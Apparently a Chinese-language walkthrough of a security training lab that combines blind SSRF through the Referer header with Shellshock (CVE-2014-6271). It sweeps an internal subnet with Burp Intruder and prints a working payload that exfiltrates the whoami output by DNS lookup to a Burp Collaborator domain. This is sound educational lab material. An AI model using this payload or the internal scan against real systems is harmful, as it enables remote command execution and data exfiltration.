这个实验的核心是利用盲 SSRF(服务器端请求伪造) 结合Shellshock 漏洞,从内网服务器窃取操作系统用户名称。以下是详细原理和解决步骤:

原理分析

  1. 盲 SSRF 漏洞基础:目标网站的分析软件会在加载产品页面时,自动请求Referer头中指定的 URL(由服务器端发起)。由于是 “盲” SSRF,不会直接返回结果,需通过 Burp Collaborator 等外部服务器记录交互。

  2. Shellshock 漏洞的作用:这是一个影响 bashshell 的远程代码执行漏洞(CVE-2014-6271),当服务器以 bash 处理某些请求(如带有特定 User-Agent 的 HTTP 请求)时,可注入恶意命令。若内网192.168.0.X:8080的服务器存在此漏洞,就能通过 SSRF 触发命令执行。

  3. 攻击链:构造含 Shellshock payload 的请求 → 利用盲 SSRF 让服务器向内网192.168.0.X:8080发送请求 → 触发 Shellshock 执行whoami命令 → 通过 DNS 查询将结果发送到 Burp Collaborator → 从交互记录中获取用户名。

具体解决步骤

1. 配置 Burp Collaborator 和扩展
  • 在 Burp Suite 专业版中,从 BApp Store 安装Collaborator Everywhere扩展(自动检测带外交互)。Collaborator Everywhere 的作用是 “自动替你在 Referer 头等位置插入 Collaborator 域名”,而 Burp Collaborator 服务器的作用是 “记录谁访问了这个域名”。
  • 将实验室域名添加到 Burp 的 “目标范围”(确保扩展仅针对目标网站生效)。
2. 确认盲 SSRF 的触发点
  • 访问任意产品页面,用 Burp 拦截请求(包含Referer头,指向当前页面 URL)。
  • 观察到分析软件会根据Referer头,让服务器向指定 URL 发起请求,通过 Collaborator Everywhere 的记录验证
  • 确认服务器的请求中包含User-Agent头(后续将在此注入 Shellshock payload)。
3. 构造 Shellshock payload
  • 进入 Burp 的 “Collaborator” 选项卡,点击 “Copy to clipboard” 生成唯一的 Collaborator 子域名(378e30vecs6f17262mif6t45uw0nogc5.oastify.com)。
  • 构造包含命令注入的 Shellshock payload,格式如下:
    () { :; }; /usr/bin/nslookup $(whoami).378e30vecs6f17262mif6t45uw0nogc5.oastify.com
    • 解释:() { :; }; 是触发 Shellshock 的标志性前缀;whoami获取当前系统用户名;nslookup将用户名作为子域名发送到 Collaborator(通过 DNS 查询外带数据)。
4. 配置 Intruder 扫描内网
  • 将产品页面的请求发送到 Burp Intruder,修改两个关键部分:
    1. User-Agent:替换为上述 Shellshock payload(注入命令)。
    2. Referer:改为http://192.168.0.§1§:8080§1§为占位符,用于遍历内网 IP 的最后一段)。
  • 在 Intruder 的 “Payloads” 面板:
    • 选择 “Numbers” 类型,设置范围为1-255,步长1(遍历192.168.0.1192.168.0.255)。
5. 发起攻击并获取结果
  • 启动 Intruder 攻击,服务器会向内网所有 IP 的8080端口发送含恶意User-Agent的请求。
  • 攻击结束后,进入 Burp “Collaborator” 选项卡,点击 “Poll now” 查看交互记录。
  • 找到包含whoami结果的 DNS 查询(peter-U7Hvl4.378e30vecs6f17262mif6t45uw0nogc5.oastify.com的解析记录),其中username即为内网服务器的 OS 用户名。
6. 完成实验
  • 在实验室页面输入获取到的用户名,即可通关。

总结

本实验结合了三个关键点:

  1. 利用Referer头触发盲 SSRF,让服务器向内网发起请求;
  2. 借助 Shellshock 漏洞在目标内网服务器上执行命令;
  3. 通过 DNS 查询将敏感数据(用户名)外带到 Burp Collaborator,实现 “盲” 攻击的结果验证。核心逻辑是 “借服务器之手攻击内网,借外部服务器记录结果”。ba
Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐